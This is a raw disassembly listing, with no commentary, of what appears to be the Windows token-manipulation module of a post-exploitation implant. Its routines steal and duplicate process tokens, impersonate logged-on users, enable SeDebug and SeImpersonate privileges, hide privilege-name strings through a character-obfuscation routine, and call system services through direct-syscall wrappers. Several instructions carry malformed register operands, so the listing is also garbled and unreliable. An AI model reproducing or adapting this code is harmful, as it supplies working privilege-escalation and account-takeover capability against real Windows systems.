1400210c3mov rdi, [rdi+48]
1400210c7inc esi
1400210c9jmp 0x1400210be
1400210cb
1400210cbloc_1400210cb:
1400210cbcmp edi, esi
1400210cdje 0x1400210da
1400210cfxor ecx, ecx
1400210d1inc edi
1400210d3call TokenRemove
1400210d8jmp 0x1400210cb
1400210da
1400210daloc_1400210da:
1400210daxor edx, edx
1400210dcxor eax, eax
1400210demov [rbx+2290], eax
1400210e4mov [rbx+2274], rdx
1400210ebmov [rbx+2282], rdx
1400210f2add rsp, 32
1400210f6pop rbx
1400210f7pop rsi
1400210f8pop rdi
1400210f9ret
1400210a0

1400210fa
1400210fa // align 0x10

140021100
140021100TokenCurrentHandle:
140021100push rdi
140021101xor eax, eax
140021103mov r8l, 1
140021109mov edx, 8
14002110epush rsi
14002110fmov rcx, -2
140021116push rbx
140021117sub rsp, 64
14002111blea rsi, [rsp+56]
140021120mov [rsp+56], rax
140021125mov r9, rsi
140021128call SysNtOpenThreadToken
14002112dtest eax, eax
14002112fjns 0x1400211c6
140021135mov ebx, eax
140021137cmp eax, 0xffffffffc000007c
14002113cje 0x14002116a
14002113emov rsi, [rip+45611]
140021145mov ecx, eax
140021147call [rsi+348]
14002114dmov r9l, ebx
140021150mov r8l, 634
140021156lea rdx, [rip+49411]
14002115dmov [rsp+32], eax
140021161lea rcx, [rip+35517]
140021168jmp 0x1400211ab
14002116a
14002116aloc_14002116a:
14002116amov r8, rsi
14002116dmov edx, 8
140021172or rcx, -1
140021176call SysNtOpenProcessToken
14002117bmov ebx, eax
14002117dtest eax, eax
14002117fjns 0x1400211c6
140021181mov rsi, [rip+45544]
140021188mov ecx, eax
14002118acall [rsi+348]
140021190mov r9l, ebx
140021193mov r8l, 641
140021199lea rdx, [rip+49344]
1400211a0mov [rsp+32], eax
1400211a4lea rcx, [rip+35233]
1400211ab
1400211abloc_1400211ab:
1400211abcall printf
1400211b0mov rdi, [rsi+2230]
1400211b7mov ecx, ebx
1400211b9call [rsi+348]
1400211bfmov [rdi+104], eax
1400211c2xor eax, eax
1400211c4jmp 0x1400211cb
1400211c6
1400211c6loc_1400211c6:
1400211c6mov rax, [rsp+56]
1400211cb
1400211cbloc_1400211cb:
1400211cbadd rsp, 64
1400211cfpop rbx
1400211d0pop rsi
1400211d1pop rdi
1400211d2ret
140021100

1400211d3
1400211d3 // align 0x10

1400211e0
1400211e0TokenDuplicate:
1400211e0push rdi
1400211e1mov r10, rcx
1400211e4xor eax, eax
1400211e6mov ecx, 9
1400211ebpush rsi
1400211ecpush rbx
1400211edsub rsp, 112
1400211f1lea rdi, [rsp+68]
1400211f6mov [rsp+56], r8l
1400211fblea r8, [rsp+64]
140021200rep stosd [rdi], eax
140021202xor eax, eax
140021204mov [rsp+32], r9l
140021209mov rcx, r10
14002120cmov [rsp+60], eax
140021210lea rax, [rsp+52]
140021215xor r9l, r9l
140021218mov [rsp+104], rax
14002121dmov rax, [rsp+176]
140021225mov [rsp+52], 12
14002122dmov [rsp+40], rax
140021232mov [rsp+64], 48
14002123acall SysNtDuplicateToken
14002123fmov ebx, eax
140021241mov eax, 1
140021246test ebx, ebx
140021248jns 0x14002128d
14002124amov rsi, [rip+45343]
140021251mov ecx, ebx
140021253mov rdi, [rsi+2230]
14002125acall [rsi+348]
140021260mov ecx, ebx
140021262mov [rdi+104], eax
140021265call [rsi+348]
14002126bmov r9l, ebx
14002126emov r8l, 61
140021274lea rdx, [rip+47157]
14002127bmov [rsp+32], eax
14002127flea rcx, [rip+34474]
140021286call printf
14002128bxor eax, eax
14002128d
14002128dloc_14002128d:
14002128dadd rsp, 112
140021291pop rbx
140021292pop rsi
140021293pop rdi
140021294ret
1400211e0

140021295
140021295 // align 0x10

1400212a0
1400212a0TokenElevated:
1400212a0sub rsp, 72
1400212a4xor eax, eax
1400212a6mov edx, 20
1400212abmov r9l, 4
1400212b1mov [rsp+56], eax
1400212b5lea rax, [rsp+60]
1400212balea r8, [rsp+56]
1400212bfmov [rsp+32], rax
1400212c4mov [rsp+60], 4
1400212cccall SysNtQueryInformationToken
1400212d1mov edx, eax
1400212d3xor eax, eax
1400212d5test edx, edx
1400212d7js 0x1400212dd
1400212d9mov eax, [rsp+56]
1400212dd
1400212ddloc_1400212dd:
1400212ddadd rsp, 72
1400212e1ret
1400212a0

1400212e2
1400212e2 // align 0x10

1400212f0
1400212f0TokenGet:
1400212f0mov rax, [rip+45177]
1400212f7xor edx, edx
1400212f9mov rax, [rax+2274]
140021300
140021300loc_140021300:
140021300cmp edx, ecx
140021302jae 0x140021309
140021304test rax, rax
140021307jne 0x140021315
140021309
140021309loc_140021309:
140021309cmp edx, ecx
14002130bmov edx, 0
140021310cmovne rax, rdx
140021314ret
140021315
140021315loc_140021315:
140021315mov rax, [rax+48]
140021319test rax, rax
14002131cje 0x140021322
14002131einc edx
140021320jmp 0x140021300
140021322
140021322loc_140021322:
140021322ret
1400212f0

140021323
140021323 // align 0x10

140021330
140021330TokenImpersonate:
140021330push rbx
140021331mov eax, 1
140021336sub rsp, 32
14002133amov rbx, [rip+45103]
140021341mov edx, [rbx+2290]
140021347test ecx, ecx
140021349je 0x14002136b
14002134btest edx, edx
14002134djne 0x140021381
14002134fmov rdx, [rbx+2282]
140021356test rdx, rdx
140021359je 0x140021381
14002135bmov rcx, [rdx]
14002135ecall SysImpersonateLoggedOnUser
140021363mov [rbx+2290], eax
140021369jmp 0x140021381
14002136b
14002136bloc_14002136b:
14002136btest edx, edx
14002136dje 0x140021381
14002136fxor eax, eax
140021371mov [rbx+2290], eax
140021377add rsp, 32
14002137bpop rbx
14002137cjmp 0x140021aa0
140021381
140021381loc_140021381:
140021381add rsp, 32
140021385pop rbx
140021386ret
140021330

140021387
140021387 // align 0x10

140021390
140021390TokenMake:
140021390push r12
140021392xor r9l, r9l
140021395lea r12, [rip+48996]
14002139cpush rbp
14002139dmov rbp, rdx
1400213a0push rdi
1400213a1mov rdi, r8
1400213a4push rsi
1400213a5mov rsi, rcx
1400213a8push rbx
1400213a9sub rsp, 64
1400213admov [rsp+40], r8
1400213b2mov r8l, 602
1400213b8mov [rsp+32], rdx
1400213bdmov rdx, r12
1400213c0mov [rsp+56], r9
1400213c5mov r9, rcx
1400213c8lea rcx, [rip+34785]
1400213cfcall printf
1400213d4call TokenRevSelf
1400213d9mov rbx, [rip+44944]
1400213e0test eax, eax
1400213e2jne 0x140021418
1400213e4mov rax, [rbx+2230]
1400213ebmov rdx, r12
1400213eelea rcx, [rip+34791]
1400213f5mov r8l, 606
1400213fbmov r9l, [rax+104]
1400213ffcall printf
140021404mov rax, [rbx+2230]
14002140bmov ecx, 1
140021410mov edx, [rax+104]
140021413call PackageTransmitError
140021418
140021418loc_140021418:
140021418lea rax, [rsp+56]
14002141dmov r8, rbp
140021420mov rdx, rdi
140021423mov rcx, rsi
140021426mov [rsp+40], rax
14002142bxor eax, eax
14002142dmov r9l, 9
140021433mov [rsp+32], eax
140021437call [rbx+1564]
14002143dtest eax, eax
14002143fjne 0x140021471
140021441mov rdx, r12
140021444lea rcx, [rip+34173]
14002144blea r9, [rip+34752]
140021452mov r8l, 613
140021458call printf
14002145dmov rax, [rbx+2230]
140021464mov ecx, 1
140021469mov edx, [rax+104]
14002146ccall PackageTransmitError
140021471
140021471loc_140021471:
140021471mov rax, [rsp+56]
140021476add rsp, 64
14002147apop rbx
14002147bpop rsi
14002147cpop rdi
14002147dpop rbp
14002147epop r12
140021480ret
140021390

140021481
140021481 // align 0x10

140021490
140021490TokenQueryOwner:
140021490push r15
140021492xor r9l, r9l
140021495push r14
140021497push r13
140021499push r12
14002149bpush rbp
14002149cpush rdi
14002149dpush rsi
14002149epush rbx
14002149fsub rsp, 104
1400214a3mov [rsp+80], r9l
1400214a8mov [rsp+84], r9l
1400214admov [rsp+88], r9l
1400214b2mov [rsp+92], r9l
1400214b7test rcx, rcx
1400214baje 0x1400214c4
1400214bcmov rdi, rdx
1400214bftest rdx, rdx
1400214c2jne 0x1400214cc
1400214c4
1400214c4loc_1400214c4:
1400214c4xor r13l, r13l
1400214c7jmp 0x140021739
1400214cc
1400214ccloc_1400214cc:
1400214cclea r13, [rsp+80]
1400214d1mov ebp, r8l
1400214d4xor r9l, r9l
1400214d7xor r8l, r8l
1400214damov [rsp+32], r13
1400214dfmov edx, 1
1400214e4mov rbx, rcx
1400214e7call SysNtQueryInformationToken
1400214ectest eax, eax
1400214eejns 0x1400216b1
1400214f4mov rsi, [rip+44661]
1400214fbmov r8l, [rsp+80]
140021500mov edx, 8
140021505mov rax, [rsi+2230]
14002150cmov rax, [rax+96]
140021510mov rcx, [rax+48]
140021514call [rsi+316]
14002151amov [rsp+32], r13
14002151fmov r9l, [rsp+80]
140021524mov rcx, rbx
140021527mov r8, rax
14002152amov edx, 1
14002152fmov r12, rax
140021532call SysNtQueryInformationToken
140021537test eax, eax
140021539js 0x1400216d6
14002153fxor edx, edx
140021541lea rax, [rsp+84]
140021546lea r13, [rsp+92]
14002154bxor r8l, r8l
14002154elea r14, [rsp+88]
140021553mov [rsp+48], r13
140021558xor ecx, ecx
14002155amov r9, rax
14002155dmov [rsp+40], r14
140021562mov [rsp+32], rdx
140021567mov rdx, [r12]
14002156bmov [rsp+72], rax
140021570call [rsi+1548]
140021576test eax, eax
140021578jne 0x14002168f
14002157exor eax, eax
140021580mov [rsp+92], eax
140021584cmp ebp, 1
140021587jne 0x140021593
140021589mov eax, [rsp+84]
14002158dlea r8l, [rax+rax]
140021591jmp 0x1400215a5
140021593
140021593loc_140021593:
140021593mov r8l, [rsp+88]
140021598cmp ebp, 2
14002159bje 0x1400215a2
14002159dadd r8l, [rsp+84]
1400215a2
1400215a2loc_1400215a2:
1400215a2add r8l, r8l
1400215a5
1400215a5loc_1400215a5:
1400215a5mov rax, [rsi+2230]
1400215acmov [rdi+8], r8l
1400215b0mov edx, 8
1400215b5mov rax, [rax+96]
1400215b9mov rcx, [rax+48]
1400215bdcall [rsi+316]
1400215c3mov r8l, [rsp+88]
1400215c8mov [rdi], rax
1400215cbmov r15, rax
1400215ceadd r8, r8
1400215d1cmp ebp, 1
1400215d4jne 0x1400215f8
1400215d6mov rax, [rsi+2230]
1400215ddmov edx, 8
1400215e2mov rax, [rax+96]
1400215e6mov rcx, [rax+48]
1400215eacall [rsi+316]
1400215f0mov rbx, [rdi]
1400215f3mov r15, rax
1400215f6jmp 0x140021626
1400215f8
1400215f8loc_1400215f8:
1400215f8lea rbx, [rax+r8]
1400215fccmp ebp, 2
1400215ffjne 0x140021626
140021601mov rdx, [rsi+2230]
140021608mov eax, [rsp+84]
14002160cmov rdx, [rdx+96]
140021610lea r8, [rax+rax]
140021614mov rcx, [rdx+48]
140021618mov edx, 8
14002161dcall [rsi+316]
140021623mov rbx, rax
140021626
140021626loc_140021626:
140021626mov [rsp+48], r13
14002162bmov r9, [rsp+72]
140021630mov r8, rbx
140021633xor ecx, ecx
140021635mov [rsp+40], r14
14002163amov [rsp+32], r15
14002163fmov rdx, [r12]
140021643call [rsi+1548]
140021649mov r13l, eax
14002164ctest eax, eax
14002164ejne 0x140021676
140021650mov rax, [rsi+2230]
140021657mov r8l, 162
14002165dlea rdx, [rip+46060]
140021664lea rcx, [rip+33532]
14002166bmov r9l, [rax+104]
14002166fcall printf
140021674jmp 0x1400216e7
140021676
140021676loc_140021676:
140021676test ebp, ebp
140021678je 0x140021682
14002167a
14002167aloc_14002167a:
14002167amov r13l, 1
140021680jmp 0x1400216e7
140021682
140021682loc_140021682:
140021682mov edx, [rsp+88]
140021686mov rax, [rdi]
140021689mov [rax+2*rdx], 92
14002168djmp 0x14002167a
14002168f
14002168floc_14002168f:
14002168flea r9, [rip+33536]
140021696mov r8l, 174
14002169clea rdx, [rip+45997]
1400216a3lea rcx, [rip+33566]
1400216aacall printf
1400216afjmp 0x1400216df
1400216b1
1400216b1loc_1400216b1:
1400216b1lea r9, [rip+33572]
1400216b8mov r8l, 177
1400216belea rdx, [rip+45963]
1400216c5lea rcx, [rip+33532]
1400216cccall printf
1400216d1jmp 0x1400214c4
1400216d6
1400216d6loc_1400216d6:
1400216d6test r12, r12
1400216d9je 0x1400214c4
1400216df
1400216dfloc_1400216df:
1400216dfxor ebx, ebx
1400216e1xor r15l, r15l
1400216e4xor r13l, r13l
1400216e7
1400216e7loc_1400216e7:
1400216e7xor r14l, r14l
1400216eamov ecx, [rsp+80]
1400216eemov rdi, r12
1400216f1mov eax, r14l
1400216f4rep stosb [rdi], al
1400216f6mov rcx, r12
1400216f9call [rsi+940]
1400216ffcmp ebp, 1
140021702jne 0x14002171a
140021704test r15, r15
140021707je 0x140021739
140021709mov ecx, [rsp+88]
14002170dmov rdi, r15
140021710mov eax, r14l
140021713rep stosb [rdi], al
140021715mov rcx, r15
140021718jmp 0x140021733
14002171a
14002171aloc_14002171a:
14002171atest rbx, rbx
14002171dje 0x140021739
14002171fcmp ebp, 2
140021722jne 0x140021739
140021724mov ecx, [rsp+84]
140021728mov rdi, rbx
14002172bmov eax, r14l
14002172erep stosb [rdi], al
140021730mov rcx, rbx
140021733
140021733loc_140021733:
140021733call [rsi+940]
140021739
140021739loc_140021739:
140021739add rsp, 104
14002173dmov eax, r13l
140021740pop rbx
140021741pop rsi
140021742pop rdi
140021743pop rbp
140021744pop r12
140021746pop r13
140021748pop r14
14002174apop r15
14002174cret
140021490

14002174d
14002174d // align 0x10

140021750
140021750TokenRemove:
140021750push rdi
140021751mov r9l, ecx
140021754lea rdx, [rip+48165]
14002175bmov r8l, 476
140021761push rsi
140021762push rbx
140021763mov ebx, ecx
140021765lea rcx, [rip+34256]
14002176csub rsp, 32
140021770call printf
140021775mov ecx, ebx
140021777call TokenGet
14002177cmov rbx, [rip+44013]
140021783mov rsi, rax
140021786mov rax, [rbx+2274]
14002178dtest rax, rax
140021790je 0x140021a89
140021796test rsi, rsi
140021799je 0x140021a89
14002179fcmp rsi, rax
1400217a2lea rdx, [rip+48087]
1400217a9jne 0x140021965
1400217aflea r9, [rip+34218]
1400217b6mov r8l, 489
1400217bclea rcx, [rip+33285]
1400217c3call printf
1400217c8mov rax, [rbx+2274]
1400217cfcmp [rbx+2290], 0
1400217d6mov rsi, [rax+48]
1400217daje 0x1400217f2
1400217dcmov rdx, [rbx+2282]
1400217e3mov rax, [rax]
1400217e6cmp [rdx], rax
1400217e9jne 0x1400217f2
1400217ebxor ecx, ecx
1400217edcall TokenImpersonate
1400217f2
1400217f2loc_1400217f2:
1400217f2mov rax, [rbx+2274]
1400217f9mov rcx, [rax]
1400217fctest rcx, rcx
1400217ffje 0x140021812
140021801call SysNtClose
140021806mov rax, [rbx+2274]
14002180dxor ecx, ecx
14002180fmov [rax], rcx
140021812
140021812loc_140021812:
140021812mov rax, [rbx+2274]
140021819mov rcx, [rax+8]
14002181dtest rcx, rcx
140021820je 0x140021858
140021822call StringLengthW
140021827mov rdx, [rbx+2274]
14002182elea rcx, [rax+rax]
140021832xor eax, eax
140021834mov rdi, [rdx+8]
140021838rep stosb [rdi], al
14002183amov rax, [rbx+2274]
140021841mov rcx, [rax+8]
140021845call [rbx+940]
14002184bmov rax, [rbx+2274]
140021852xor edx, edx
140021854mov [rax+8], rdx
140021858
140021858loc_140021858:
140021858mov rax, [rbx+2274]
14002185fmov rcx, [rax+24]
140021863test rcx, rcx
140021866je 0x14002189e
140021868call StringLengthW
14002186dmov rdx, [rbx+2274]
140021874lea rcx, [rax+rax]
140021878xor eax, eax
14002187amov rdi, [rdx+24]
14002187erep stosb [rdi], al
140021880mov rax, [rbx+2274]
140021887xor edi, edi
140021889mov rcx, [rax+24]
14002188dcall [rbx+940]
140021893mov rax, [rbx+2274]
14002189amov [rax+24], rdi
14002189e
14002189eloc_14002189e:
14002189emov rax, [rbx+2274]
1400218a5cmp [rax+40], 0
1400218aaje 0x1400218e7
1400218acmov rcx, [rax+24]
1400218b0call StringLengthW
1400218b5mov rdx, [rbx+2274]
1400218bclea rcx, [rax+rax]
1400218c0xor eax, eax
1400218c2mov rdi, [rdx+40]
1400218c6rep stosb [rdi], al
1400218c8mov rax, [rbx+2274]
1400218cfmov rcx, [rax+40]
1400218d3call [rbx+940]
1400218d9mov rax, [rbx+2274]
1400218e0xor r11l, r11l
1400218e3mov [rax+40], r11
1400218e7
1400218e7loc_1400218e7:
1400218e7mov rax, [rbx+2274]
1400218eemov rcx, [rax+32]
1400218f2test rcx, rcx
1400218f5je 0x14002192e
1400218f7call StringLengthW
1400218fcmov rdx, [rbx+2274]
140021903lea rcx, [rax+rax]
140021907xor eax, eax
140021909mov rdi, [rdx+32]
14002190drep stosb [rdi], al
14002190fmov rax, [rbx+2274]
140021916mov rcx, [rax+32]
14002191acall [rbx+940]
140021920mov rax, [rbx+2274]
140021927xor r10l, r10l
14002192amov [rax+32], r10
14002192e
14002192eloc_14002192e:
14002192emov rdi, [rbx+2274]
140021935mov ecx, 56
14002193axor eax, eax
14002193crep stosb [rdi], al
14002193emov rcx, [rbx+2274]
140021945call [rbx+940]
14002194bmov [rbx+2274], rsi
140021952
140021952loc_140021952:
140021952mov eax, 1
140021957jmp 0x140021a8b
14002195c
14002195cloc_14002195c:
14002195ctest rax, rax
14002195fje 0x140021a89
140021965
140021965loc_140021965:
140021965mov rdi, rax
140021968mov rax, [rax+48]
14002196ccmp rax, rsi
14002196fjne 0x14002195c
140021971lea r9, [rip+33783]
140021978mov r8l, 543
14002197elea rcx, [rip+32835]
140021985call printf
14002198amov rax, [rsi+48]
14002198ecmp [rbx+2290], 0
140021995mov [rdi+48], rax
140021999je 0x1400219b1
14002199bmov rax, [rbx+2282]
1400219a2mov rdx, [rsi]
1400219a5cmp [rax], rdx
1400219a8jne 0x1400219b1
1400219aaxor ecx, ecx
1400219accall TokenImpersonate
1400219b1
1400219b1loc_1400219b1:
1400219b1mov rcx, [rsi]
1400219b4test rcx, rcx
1400219b7je 0x1400219c4
1400219b9call SysNtClose
1400219bexor r9l, r9l
1400219c1mov [rsi], r9
1400219c4
1400219c4loc_1400219c4:
1400219c4mov rcx, [rsi+8]
1400219c8test rcx, rcx
1400219cbje 0x1400219ef
1400219cdcall StringLengthW
1400219d2mov rdi, [rsi+8]
1400219d6lea rcx, [rax+rax]
1400219daxor eax, eax
1400219dcrep stosb [rdi], al
1400219demov rcx, [rsi+8]
1400219e2call [rbx+940]
1400219e8xor r8l, r8l
1400219ebmov [rsi+8], r8
1400219ef
1400219efloc_1400219ef:
1400219efmov rcx, [rsi+24]
1400219f3test rcx, rcx
1400219f6je 0x140021a19
1400219f8call StringLengthW
1400219fdmov rdi, [rsi+24]
140021a01lea rcx, [rax+rax]
140021a05xor eax, eax
140021a07rep stosb [rdi], al
140021a09mov rcx, [rsi+24]
140021a0dcall [rbx+940]
140021a13xor ecx, ecx
140021a15mov [rsi+24], rcx
140021a19
140021a19loc_140021a19:
140021a19cmp [rsi+40], 0
140021a1eje 0x140021a45
140021a20mov rcx, [rsi+24]
140021a24call StringLengthW
140021a29mov rdi, [rsi+40]
140021a2dlea rcx, [rax+rax]
140021a31xor eax, eax
140021a33rep stosb [rdi], al
140021a35mov rcx, [rsi+40]
140021a39call [rbx+940]
140021a3fxor edx, edx
140021a41mov [rsi+40], rdx
140021a45
140021a45loc_140021a45:
140021a45mov rcx, [rsi+32]
140021a49test rcx, rcx
140021a4cje 0x140021a6f
140021a4ecall StringLengthW
140021a53mov rdi, [rsi+32]
140021a57lea rcx, [rax+rax]
140021a5bxor eax, eax
140021a5drep stosb [rdi], al
140021a5fmov rcx, [rsi+32]
140021a63call [rbx+940]
140021a69xor eax, eax
140021a6bmov [rsi+32], rax
140021a6f
140021a6floc_140021a6f:
140021a6fmov rdi, rsi
140021a72mov ecx, 56
140021a77xor eax, eax
140021a79rep stosb [rdi], al
140021a7bmov rcx, rsi
140021a7ecall [rbx+940]
140021a84jmp 0x140021952
140021a89
140021a89loc_140021a89:
140021a89xor eax, eax
140021a8b
140021a8bloc_140021a8b:
140021a8badd rsp, 32
140021a8fpop rbx
140021a90pop rsi
140021a91pop rdi
140021a92ret
140021750

140021a93
140021a93 // align 0x10

140021aa0
140021aa0TokenRevSelf:
140021aa0push rbx
140021aa1xor eax, eax
140021aa3mov rcx, -2
140021aaamov r9l, 8
140021ab0mov edx, 5
140021ab5sub rsp, 48
140021ab9lea r8, [rsp+40]
140021abemov [rsp+40], rax
140021ac3call SysNtSetInformationThread
140021ac8mov ecx, eax
140021acamov eax, 1
140021acftest ecx, ecx
140021ad1jns 0x140021aec
140021ad3mov rax, [rip+43158]
140021adamov rbx, [rax+2230]
140021ae1call [rax+348]
140021ae7mov [rbx+104], eax
140021aeaxor eax, eax
140021aec
140021aecloc_140021aec:
140021aecadd rsp, 48
140021af0pop rbx
140021af1ret
140021aa0

140021af2
140021af2 // align 0x10

140021b00
140021b00TokenSetPrivilege:
140021b00push rbp
140021b01xorps x0, x0
140021b04mov rbp, rsp
140021b07push rsi
140021b08mov esi, edx
140021b0axor edx, edx
140021b0cpush rbx
140021b0dand rsp, -16
140021b11sub rsp, 80
140021b15mov rbx, [rip+43092]
140021b1cmov [rsp+56], rdx
140021b21lea r8, [rsp+56]
140021b26mov [rsp+48], rdx
140021b2bmov rdx, rcx
140021b2exor ecx, ecx
140021b30movups [rsp+64], x0
140021b35call [rbx+1596]
140021b3btest eax, eax
140021b3djne 0x140021b63
140021b3fmov rax, [rbx+2230]
140021b46mov r8l, 213
140021b4clea rdx, [rip+44669]
140021b53lea rcx, [rip+32442]
140021b5amov r9l, [rax+104]
140021b5ejmp 0x140021be6
140021b63
140021b63loc_140021b63:
140021b63mov rax, [rsp+56]
140021b68lea r8, [rsp+48]
140021b6dmov edx, 0xf01ff
140021b72mov [rsp+64], 1
140021b7amov [rsp+68], rax
140021b7fxor eax, eax
140021b81test esi, esi
140021b83setne al
140021b86or rcx, -1
140021b8aadd eax, eax
140021b8cmov [rsp+76], eax
140021b90call SysNtOpenProcessToken
140021b95mov esi, eax
140021b97test eax, eax
140021b99js 0x140021bef
140021b9bxor eax, eax
140021b9dxor edx, edx
140021b9fmov rcx, [rsp+48]
140021ba4xor r9l, r9l
140021ba7mov [rsp+40], rax
140021baclea r8, [rsp+64]
140021bb1mov [rsp+32], rax
140021bb6call [rbx+1572]
140021bbcmov edx, eax
140021bbemov eax, 1
140021bc3test edx, edx
140021bc5jne 0x140021c29
140021bc7mov rax, [rbx+2230]
140021bcemov r8l, 228
140021bd4lea rdx, [rip+44533]
140021bdblea rcx, [rip+32358]
140021be2mov r9l, [rax+104]
140021be6
140021be6loc_140021be6:
140021be6call printf
140021beb
140021bebloc_140021beb:
140021bebxor eax, eax
140021bedjmp 0x140021c29
140021bef
140021befloc_140021bef:
140021befmov ecx, eax
140021bf1call [rbx+348]
140021bf7mov r8l, 232
140021bfdlea rdx, [rip+44492]
140021c04lea rcx, [rip+32370]
140021c0bmov r9l, eax
140021c0ecall printf
140021c13mov ecx, esi
140021c15call [rbx+348]
140021c1bmov ecx, 1
140021c20mov edx, eax
140021c22call PackageTransmitError
140021c27jmp 0x140021beb
140021c29
140021c29loc_140021c29:
140021c29lea rsp, [rbp-16]
140021c2dpop rbx
140021c2epop rsi
140021c2fpop rbp
140021c30ret
140021b00

140021c31
140021c31 // align 0x10

140021c40
140021c40TokenSetSeDebugPriv:
140021c40push rdi
140021c41xor eax, eax
140021c43push rbx
140021c44mov ebx, ecx
140021c46mov ecx, 68
140021c4bsub rsp, 72
140021c4fmov [rsp+47], rax
140021c54lea rdi, [rsp+47]
140021c59mov [rsp+55], rax
140021c5emov [rsp+63], 0
140021c63call HideChar
140021c68mov ecx, 105
140021c6dmov [rsp+49], al
140021c71call HideChar
140021c76xor ecx, ecx
140021c78mov [rsp+56], al
140021c7ccall HideChar
140021c81mov ecx, 83
140021c86mov [rsp+63], al
140021c8acall HideChar
140021c8fmov ecx, 101
140021c94mov [rsp+47], al
140021c98call HideChar
140021c9dmov ecx, 103
140021ca2mov [rsp+50], al
140021ca6call HideChar
140021cabmov ecx, 80
140021cb0mov [rsp+53], al
140021cb4call HideChar
140021cb9mov ecx, 105
140021cbemov [rsp+54], al
140021cc2call HideChar
140021cc7mov ecx, 98
140021cccmov [rsp+58], al
140021cd0call HideChar
140021cd5mov ecx, 117
140021cdamov [rsp+51], al
140021cdecall HideChar
140021ce3mov ecx, 118
140021ce8mov [rsp+52], al
140021ceccall HideChar
140021cf1mov ecx, 101
140021cf6mov [rsp+57], al
140021cfacall HideChar
140021cffmov ecx, 101
140021d04mov [rsp+62], al
140021d08call HideChar
140021d0dmov ecx, 101
140021d12mov [rsp+48], al
140021d16call HideChar
140021d1bmov ecx, 103
140021d20mov [rsp+60], al
140021d24call HideChar
140021d29mov ecx, 108
140021d2emov [rsp+61], al
140021d32call HideChar
140021d37mov ecx, 114
140021d3cmov [rsp+59], al
140021d40call HideChar
140021d45mov edx, ebx
140021d47mov rcx, rdi
140021d4amov [rsp+55], al
140021d4ecall TokenSetPrivilege
140021d53mov ecx, 17
140021d58mov edx, eax
140021d5axor eax, eax
140021d5crep stosb [rdi], al
140021d5eadd rsp, 72
140021d62mov eax, edx
140021d64pop rbx
140021d65pop rdi
140021d66ret
140021c40

140021d67
140021d67 // align 0x10

140021d70
140021d70TokenSetSeImpersonatePriv:
140021d70push rdi
140021d71xor eax, eax
140021d73push rbx
140021d74mov ebx, ecx
140021d76mov ecx, 115
140021d7bsub rsp, 72
140021d7fmov [rsp+49], rax
140021d84lea rdi, [rsp+41]
140021d89mov [rsp+41], rax
140021d8emov [rsp+56], rax
140021d93call HideChar
140021d98mov ecx, 101
140021d9dmov [rsp+48], al
140021da1call HideChar
140021da6mov ecx, 112
140021dabmov [rsp+46], al
140021dafcall HideChar
140021db4mov ecx, 111
140021db9mov [rsp+45], al
140021dbdcall HideChar
140021dc2mov ecx, 109
140021dc7mov [rsp+49], al
140021dcbcall HideChar
140021dd0mov ecx, 83
140021dd5mov [rsp+44], al
140021dd9call HideChar
140021ddemov ecx, 116
140021de3mov [rsp+41], al
140021de7call HideChar
140021decmov ecx, 101
140021df1mov [rsp+52], al
140021df5call HideChar
140021dfamov ecx, 105
140021dffmov [rsp+53], al
140021e03call HideChar
140021e08mov ecx, 101
140021e0dmov [rsp+58], al
140021e11call HideChar
140021e16xor ecx, ecx
140021e18mov [rsp+60], al
140021e1ccall HideChar
140021e21mov ecx, 114
140021e26mov [rsp+63], al
140021e2acall HideChar
140021e2fmov ecx, 118
140021e34mov [rsp+47], al
140021e38call HideChar
140021e3dmov ecx, 101
140021e42mov [rsp+57], al
140021e46call HideChar
140021e4bmov ecx, 97
140021e50mov [rsp+62], al
140021e54call HideChar
140021e59mov ecx, 105
140021e5emov [rsp+51], al
140021e62call HideChar
140021e67mov ecx, 110
140021e6cmov [rsp+56], al
140021e70call HideChar
140021e75mov ecx, 101
140021e7amov [rsp+50], al
140021e7ecall HideChar
140021e83mov ecx, 80
140021e88mov [rsp+42], al
140021e8ccall HideChar
140021e91mov ecx, 114
140021e96mov [rsp+54], al
140021e9acall HideChar
140021e9fmov ecx, 73
140021ea4mov [rsp+55], al
140021ea8call HideChar
140021eadmov ecx, 108
140021eb2mov [rsp+43], al
140021eb6call HideChar
140021ebbmov ecx, 103
140021ec0mov [rsp+59], al
140021ec4call HideChar
140021ec9mov edx, ebx
140021ecbmov rcx, rdi
140021ecemov [rsp+61], al
140021ed2call TokenSetPrivilege
140021ed7mov ecx, 23
140021edcmov edx, eax
140021edexor eax, eax
140021ee0rep stosb [rdi], al
140021ee2add rsp, 72
140021ee6mov eax, edx
140021ee8pop rbx
140021ee9pop rdi
140021eearet
140021d70

140021eeb
140021eeb // align 0x10

140021ef0
140021ef0TokenSteal:
140021ef0push r12
140021ef2push rbp
140021ef3mov rbp, rdx
140021ef6xor edx, edx
140021ef8push rdi
140021ef9lea rdi, [rip+46400]
140021f00push rsi
140021f01mov esi, ecx
140021f03push rbx
140021f04sub rsp, 80
140021f08mov [rsp+72], rdx
140021f0dmov edx, 1088
140021f12call ProcessOpen
140021f17test rax, rax
140021f1aje 0x140022024
140021f20test rbp, rbp
140021f23mov rbx, rax
140021f26lea r12, [rsp+72]
140021f2bje 0x140021f9b
140021f2dmov [rsp+32], esi
140021f31mov r9, rbp
140021f34mov r8l, 430
140021f3amov rdx, rdi
140021f3dlea rcx, [rip+31593]
140021f44call printf
140021f49xor eax, eax
140021f4bmov r9, r12
140021f4eor r8, -1
140021f52mov [rsp+48], 2
140021f5amov rdx, rbp
140021f5dmov rcx, rbx
140021f60mov [rsp+40], eax
140021f64mov [rsp+32], eax
140021f68call SysNtDuplicateObject
140021f6dmov esi, eax
140021f6ftest eax, eax
140021f71jns 0x140021fc9
140021f73mov rbp, [rip+41974]
140021f7amov ecx, eax
140021f7ccall [rbp+348]
140021f82mov r9l, esi
140021f85mov rdx, rdi
140021f88mov r8l, 440
140021f8emov [rsp+32], eax
140021f92lea rcx, [rip+31558]
140021f99jmp 0x140022001
140021f9b
140021f9bloc_140021f9b:
140021f9bmov r9l, esi
140021f9emov r8l, 446
140021fa4mov rdx, rdi
140021fa7lea rcx, [rip+31593]
140021faecall printf
140021fb3mov r8, r12
140021fb6mov edx, 10
140021fbbmov rcx, rbx
140021fbecall SysNtOpenProcessToken
140021fc3mov esi, eax
140021fc5test eax, eax
140021fc7js 0x140021fdb
140021fc9
140021fc9loc_140021fc9:
140021fc9mov rcx, rbx
140021fcccall SysNtClose
140021fd1mov rax, [rsp+72]
140021fd6jmp 0x140022061
140021fdb
140021fdbloc_140021fdb:
140021fdbmov rbp, [rip+41870]
140021fe2mov ecx, eax
140021fe4call [rbp+348]
140021feamov r9l, esi
140021fedmov rdx, rdi
140021ff0mov r8l, 456
